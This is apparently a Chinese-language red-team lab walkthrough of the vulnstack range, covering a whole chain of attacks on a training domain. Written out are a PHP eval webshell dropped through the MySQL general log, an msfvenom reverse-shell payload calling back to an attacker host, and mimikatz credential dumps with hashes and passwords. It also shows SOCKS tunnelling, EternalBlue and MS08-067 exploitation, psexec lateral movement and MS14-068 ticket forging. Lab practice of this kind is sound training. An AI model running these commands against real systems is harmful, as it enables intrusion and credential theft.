下载链接: 漏洞详情 (qiyuanxuetang.net) ,喵的还是CS快乐
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:
一、环境搭建 1.环境搭建测试 2.信息收集
二、漏洞利用 3.漏洞搜索与利用 4.后台Getshell上传技巧 5.系统信息收集 6.主机密码收集
三、内网搜集 7.内网–继续信息收集 8.内网攻击姿势–信息泄露 9.内网攻击姿势-MS08-067 10.内网攻击姿势-SMB远程桌面口令猜测 11.内网攻击姿势-Oracle数据库TNS服务漏洞 12.内网攻击姿势-RPC DCOM服务漏洞
四、横向移动 13.内网其它主机端口-文件读取 14.内网其它主机端口-redis 15.内网其它主机端口-redis Getshell 16.内网其它主机端口-MySQL数据库 17.内网其它主机端口-MySQL提权
五、构建通道 18.内网其它主机端口-代理转发
六、持久控制 19.域渗透-域成员信息收集 20.域渗透-基础服务弱口令探测及深度利用之powershell 21.域渗透-横向移动[wmi利用] 22.域渗透-C2命令执行 23.域渗透-利用DomainFronting实现对beacon的深度隐藏 24.域渗透-域控实现与利用
七、痕迹清理 25、日志清理
由于WIN7链接外网,所以有可能会DNS解析出现问题导致vulnstack rpc 服务器不可用 1722
修复方法如下:
在C:\Windows\System32\drivers\etc\HOSTS
中添加
192 .168 .52 .138 owa.god.org
192 .168 .52 .138 god.org
name host password 说明 win7 192.168.52.143 | 192.168.128.131 Passw0rd WEB服务器 win2k3 192.168.52.141 Passw0rd 域成员 win2008 192.168.52.138 Passw0rd/hongrisec@2019 域控服务器 kali 192.168.128.130 attack
result of dirsearch
/yxcms
/phpmyAdmin
/phpMyAdmin
在右下角form中有提示
/index.php?r=admin进入。 后台的用户名:admin;密码:123456,请进入后修改默认密码。
username password admin 123456
利用修改页面功能写webshell
访问 phpmyAdmin
使用默认密码
getshell的常见方式: 1、select into outfile直接写入 2、开启全局日志getshell 3、使用慢查询日志getsehll
[Shell]MySql慢查询日志GetShell – 肖洋肖恩、 – 博客园 (cnblogs.com)
4、使用错误日志getshell 5、利用phpmyadmin4.8.x本地文件包含漏洞getshell
注意secure_file_priv为NULL,不允许导入|导出
采用日志的方法 – 查看权限 show global variables like "%genera%";
Variable_name Value general_log OFF general_log_file C:\phpStudy\MySQL\data\stu1.log 修改权限与Log文件地址
set global general_log='ON' ;
set global general_log_file='C:/phpStudy/WWW/fe1w0.php' ;
show global variables like "%genera%" ;
SELECT "<?php @eval($_REQUEST[2234]);?>"
Variable_name Value general_log ON general_log_file C:/phpStudy/WWW/fe1w0.php
之后访问http://192.168.128.131/fe1w0.php
这里没有查杀,就直接msf生成了。
msfvenom -p windows/x64 /meterpreter/reverse_tcp lhost=172.20.185.65 lport=23333 -f exe -o reverse_tcp.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 172.20 .185 .65
set LPORT 23333
run
命令名 说明 net view 获取当前组的计算机名,查看同一域/工作组的计算机列表 net user 用户信息的查询 query user || qwinsta
查询当前在线用户 net localgroup administrators 查询本地管理员组信息,通常那个域内机器会包含一些域内的信息 ipconfig /all 查询网络配置信息,判断是否有域的话可以根据DNS的后缀 nslookup 通过反向解析查询命令nslookup
来解析域名的IP 地址。使用解析出来的IP地址进 行对比,判断域控制器和DNS 服务器是否在同一台服务器上 dig systeminfo 获取系统信息 tasklist 查询进程信息,用来查看需要是否存在杀软之类的 netstat -ano 查看端口信息
还有其他常用命令
详情:
C:\tmp> net localgroup administrators
别名 administrators
注释 管理员对计算机/域有不受限制的完全访问权
成员
-------------------------------------------------------------------------------
Administrator
GOD\Domain Admins
liukaifeng01
命令成功完成。
C:\tmp> systeminfo
主机名: STU1
OS 名称: Microsoft Windows 7 专业版
OS 版本: 6.1.7601 Service Pack 1 Build 7601
OS 制造商: Microsoft Corporation
OS 配置: 成员工作站
OS 构件类型: Multiprocessor Free
注册的所有人: Windows 用户
Meterpreter
getuid
getpid
sysinfo
ps
migrate [PID] 迁移进程
getsystem
load kiwi
help kiwi
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID 和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain LM NTLM SHA1
Administrator GOD b34ce522c3e4c8774a3b108f3fa6cb6d a87f3a337d73085c45f9416be5787d86 34957e9 ba3455a4a99d722b48693ac1123ba5dba
STU1$ GOD 2404e1256 ea6c84969dc5b0bef1f6df5 eb4abfba462ce13b563e06d4db43935cac2fdc96
wdigest credentials
===================
Username Domain Password
(null ) (null ) (null )
Administrator GOD Passw0rd
STU1$ GOD ab ac d6 49 23 1 d 76 1 f ac 9 b ab f2 88 57 b6 e9 02 76 a0 ce 60 25 4 e 90 d4 4 b a8 e3 e8 6 a de eb 81 56 63 4 f 06 9 e 33 f3 ee 56 62 d5 4 e 53 55 84 d0 79 7 c da ad 7 e bc 5 f e4 83 86 e6 53 7 c 06 ab b7 a3 40 0 b ab c6 75 f2 bd e6 19 a0 8 e fe cb 18 cf f7 5 e 52 92 e3 dd 82 ed 8 d e0 da 46 b9 92 fd 23 22 60 27 db d3 09 57 51 8 d b5 99 b0 22 73 b4 88 cd f2 fe 97 e1 7 b 22 8 e 2 d 85 f4 9 c ea bd 6 c 4 f cf be 1 d 36 ac 7 a c0 40 76 54 e6 a9 3 b 6 e d1 7 d b3 fc f5 2 a ff d5 90 05 5 c 4 a 81 bf 48 8 b 41 c3 44 68 03 36 5 c 0 a 86 c3 a9 a1 4 d ed e2 ef 4 d 6 b 59 0 e 72 8 c c5 f4 4 b 8 e 92 bd ac 36 fe 5 c ee f9 9 a a8 7 f ca 57 a9 8 b 52 49 26 7 b 7 b fe 61 f1 11 35 98 35 b5 ae b0 e9 89 56 00 d1 ea 67 2 a 06 48 d5 bd 13 72 6 d de 1 e e8 f5 2 e 66 fb bb b6 82
tspkg credentials
=================
Username Domain Password
Administrator GOD Passw0rd
kerberos credentials
====================
Username Domain Password
(null ) (null ) (null )
Administrator GOD.ORG Passw0rd
stu1$ GOD.ORG ab ac d6 49 23 1 d 76 1 f ac 9 b ab f2 88 57 b6 e9 02 76 a0 ce 60 25 4 e 90 d4 4 b a8 e3 e8 6 a de eb 81 56 63 4 f 06 9 e 33 f3 ee 56 62 d5 4 e 53 55 84 d0 79 7 c da ad 7 e bc 5 f e4 83 86 e6 53 7 c 06 ab b7 a3 40 0 b ab c6 75 f2 bd e6 19 a0 8 e fe cb 18 cf f7 5 e 52 92 e3 dd 82 ed 8 d e0 da 46 b9 92 fd 23 22 60 27 db d3 09 57 51 8 d b5 99 b0 22 73 b4 88 cd f2 fe 97 e1 7 b 22 8 e 2 d 85 f4 9 c ea bd 6 c 4 f cf be 1 d 36 ac 7 a c0 40 76 54 e6 a9 3 b 6 e d1 7 d b3 fc f5 2 a ff d5 90 05 5 c 4 a 81 bf 48 8 b 41 c3 44 68 03 36 5 c 0 a 86 c3 a9 a1 4 d ed e2 ef 4 d 6 b 59 0 e 72 8 c c5 f4 4 b 8 e 92 bd ac 36 fe 5 c ee f9 9 a a8 7 f ca 57 a9 8 b 52 49 26 7 b 7 b fe 61 f1 11 35 98 35 b5 ae b0 e9 89 56 00 d1 ea 67 2 a 06 48 d5 bd 13 72 6 d de 1 e e8 f5 2 e 66 fb bb b6 82
whoami /all
查询域SIDnet user test1 /domain
查询当前指定账户的详细信息net config workstation
查询当前登录域及登录用户信息net time /domain
一般会有三种情况:
存在域,但当前用户不是域用户,提示说明权限不够
存在域,并且当前用户是域用户
当前网络环境为工作组,不存在域
net group "Domain Controllers" /domain
查找域控
也可以采用 WMIC脚本来收集
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
这里使用msf中的arp模板
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.52.0 /24
[*] Running module against STU1
[*] ARP Scanning 192.168.52.0 /24
[+] IP: 192.168.52.138 MAC 00 :0c:29 :ed:27 :cb (VMware, Inc.)
[+] IP: 192.168.52.143 MAC 00 :0c:29 :18 :e1:36 (VMware, Inc.)
[+] IP: 192.168.52.141 MAC 00 :0c:29 :64 :85 :1b (VMware, Inc.)
[+] IP: 192.168.52.255 MAC 00 :0c:29 :18 :e1:36 (VMware, Inc.)
C :\tmp > nbtscan-1 .0.35.exe 192.168.52.0/24 >z .txt
*timeout (normal end of scan )
192.168.52.138 GOD \OWA SHARING DC
192.168.52.141 GOD \ROOT-TVI862UBEH SHARING
192.168.52.143 GOD \STU1 SHARING
ip 说明 192.168.52.138 DC 192.168.52.141 域内其他机器 192.168.52.143 当前机器win7
虽然搭建方便,但response会出现一些问题(字符集不一样的情况下)
使用use auxiliary/server/socks_unc
background
use auxiliary/server /socks_unc
run
修改/etc/proxychains4.conf
浅谈内网渗透代理 – 先知社区 (aliyun.com)
反弹 SOCKS v5 服务器
需要先上传ew_for_Win.exe到边界机
修改proxychains文件
文件地址 /etc/proxychains.conf
修改为
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
# socks4 127.0.0.1 9050
# socks5 192.168.21.144 1080
socks5 127.0.0.1 1080
监听1080端口
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
ew_for_Win .exe -s rssocks -d 192.168.128.130 -e 8888
proxychains nmap -n -p445 --script smb-vuln-ms08 -067 192.168.52.141 192.168.52.143 192.168.52.138
结果如下:
use exploit/windows/smb/ms08 _067 _netapi
set RHOSTS 192.168.52.141
run
双后打出GG,换了好几个target,还是不行
Microsoft 安全公告 MS17-010 – 严重 | Microsoft Docs
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168 .52 .138 192.168 .52 .141
run
|S-chain|-<> -127.0.0.1:1080-<> <> -192.168.52.141:445-<> <> -OK
|S-chain|-<> -127.0.0.1:1080-<> <> -192.168.52.141:135-<> <> -OK
[+] 192.168.52.141:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 x86 (32-bit)
[*] Scanned 1 of 2 hosts (50% complete)
|S-chain|-<> -127.0.0.1:1080-<> <> -192.168.52.138:445-<> <> -OK
|S-chain|-<> -127.0.0.1:1080-<> <> -192.168.52.138:135-<> <> -OK
[+] 192.168.52.138:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
use exploit/windows/smb/ms17 _010 _eternalblue
set RHOSTS 192.168.52.138 192.168.52.141
show options
run
Error有可能会报的,而且贼不稳
可以使用进程迁移 run post/windows/manage/migrate
,但效果平平
之后可以利用mimikatz来获取密码
getsystem
load kiwi
help kiwi
creds_all
use exploit/windows/smb/psexec
set RHOSTS 192.168 .52 .138
set SMBDomain god.org
set SMBUSER Administrator
set SMBPASS Passw0rd
set payload windows/meterpreter/reverse_tcp
之前coblatstrike 获得
UserName PassWord Administrator Passw0rd
beacon> shell whoami /user
[* ] Tasked beacon to run: whoami /user
[+ ] host called home, sent: 43 bytes
[+ ] received output:
用户信息
----------------
用户名 SID
================= =============================================
god\administrator S-1-5-21-2952760202-1353902439-2381784089-500
下面使用 pykek
生成票据,首先用 cs
开一个 socks
代理,然后用 proxychains
把 pykek
带入内网
proxychains python2 ms14 -068 .py -u Administrator@god.org -s S-1 -5 -21 -2952760202 -1353902439 -2381784089 -500 -d 192.168.52.138 -p Passw0 rd
然后使用 KrbCredExport 转 .ccache
为 kirbi
格式。
python2 /home /kali /KrbCredExport /KrbCredExport .py TGT_Administrator @god .org.ccache Administrator.ticket
在beacon中kerberos_ticket_use
,选择
在minikatz
和hashdump
后
在cobaltStrike
中net view
选择并psexec
,最后拿下
难顶,比赛结束再录视频吧
难顶,比赛结束再录视频吧